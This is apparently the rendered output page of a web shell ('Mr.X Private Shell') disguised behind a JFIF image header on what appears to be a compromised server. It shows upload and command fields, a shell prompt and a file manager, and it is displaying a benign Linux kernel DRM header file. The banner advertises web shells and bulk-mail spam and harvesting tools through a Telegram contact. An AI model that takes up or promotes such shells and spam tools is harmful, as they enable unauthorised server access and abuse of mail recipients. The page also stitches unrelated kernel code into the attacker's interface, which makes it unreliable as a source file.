����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2021 Google Inc.
 *
 * The DP AUX bus is used for devices that are connected over a DisplayPort
 * AUX bus. The devices on the far side of the bus are referred to as
 * endpoints in this code.
 */

#ifndef _DP_AUX_BUS_H_
#define _DP_AUX_BUS_H_

#include <linux/device.h>
#include <linux/mod_devicetable.h>

/**
 * struct dp_aux_ep_device - Main dev structure for DP AUX endpoints
 *
 * This is used to instantiate devices that are connected via a DP AUX
 * bus. Usually the device is a panel, but conceivable other devices could
 * be hooked up there.
 */
struct dp_aux_ep_device {
	/** @dev: The normal dev pointer */
	struct device dev;
	/** @aux: Pointer to the aux bus */
	struct drm_dp_aux *aux;
};

struct dp_aux_ep_driver {
	int (*probe)(struct dp_aux_ep_device *aux_ep);
	void (*remove)(struct dp_aux_ep_device *aux_ep);
	void (*shutdown)(struct dp_aux_ep_device *aux_ep);
	struct device_driver driver;
};

static inline struct dp_aux_ep_device *to_dp_aux_ep_dev(struct device *dev)
{
	return container_of(dev, struct dp_aux_ep_device, dev);
}

static inline struct dp_aux_ep_driver *to_dp_aux_ep_drv(struct device_driver *drv)
{
	return container_of(drv, struct dp_aux_ep_driver, driver);
}

int of_dp_aux_populate_bus(struct drm_dp_aux *aux,
			   int (*done_probing)(struct drm_dp_aux *aux));
void of_dp_aux_depopulate_bus(struct drm_dp_aux *aux);
int devm_of_dp_aux_populate_bus(struct drm_dp_aux *aux,
				int (*done_probing)(struct drm_dp_aux *aux));

/* Deprecated versions of the above functions. To be removed when no callers. */
static inline int of_dp_aux_populate_ep_devices(struct drm_dp_aux *aux)
{
	int ret;

	ret = of_dp_aux_populate_bus(aux, NULL);

	/* New API returns -ENODEV for no child case; adapt to old assumption */
	return (ret != -ENODEV) ? ret : 0;
}

static inline int devm_of_dp_aux_populate_ep_devices(struct drm_dp_aux *aux)
{
	int ret;

	ret = devm_of_dp_aux_populate_bus(aux, NULL);

	/* New API returns -ENODEV for no child case; adapt to old assumption */
	return (ret != -ENODEV) ? ret : 0;
}

static inline void of_dp_aux_depopulate_ep_devices(struct drm_dp_aux *aux)
{
	of_dp_aux_depopulate_bus(aux);
}

#define dp_aux_dp_driver_register(aux_ep_drv) \
	__dp_aux_dp_driver_register(aux_ep_drv, THIS_MODULE)
int __dp_aux_dp_driver_register(struct dp_aux_ep_driver *aux_ep_drv,
				struct module *owner);
void dp_aux_dp_driver_unregister(struct dp_aux_ep_driver *aux_ep_drv);

#endif /* _DP_AUX_BUS_H_ */

Filemanager

Name Type Size Permission Actions
drm_dp.h File 75.41 KB 0644
drm_dp_aux_bus.h File 2.45 KB 0644
drm_dp_dual_mode_helper.h File 4.63 KB 0644
drm_dp_helper.h File 30.73 KB 0644
drm_dp_mst_helper.h File 33.39 KB 0644
drm_dp_tunnel.h File 6.2 KB 0644
drm_dsc.h File 15.84 KB 0644
drm_dsc_helper.h File 1.23 KB 0644
drm_hdcp.h File 8.45 KB 0644
drm_hdcp_helper.h File 577 B 0644
drm_hdmi_audio_helper.h File 596 B 0644
drm_hdmi_helper.h File 840 B 0644
drm_hdmi_state_helper.h File 1.22 KB 0644
drm_scdc.h File 2.88 KB 0644
drm_scdc_helper.h File 2.73 KB 0644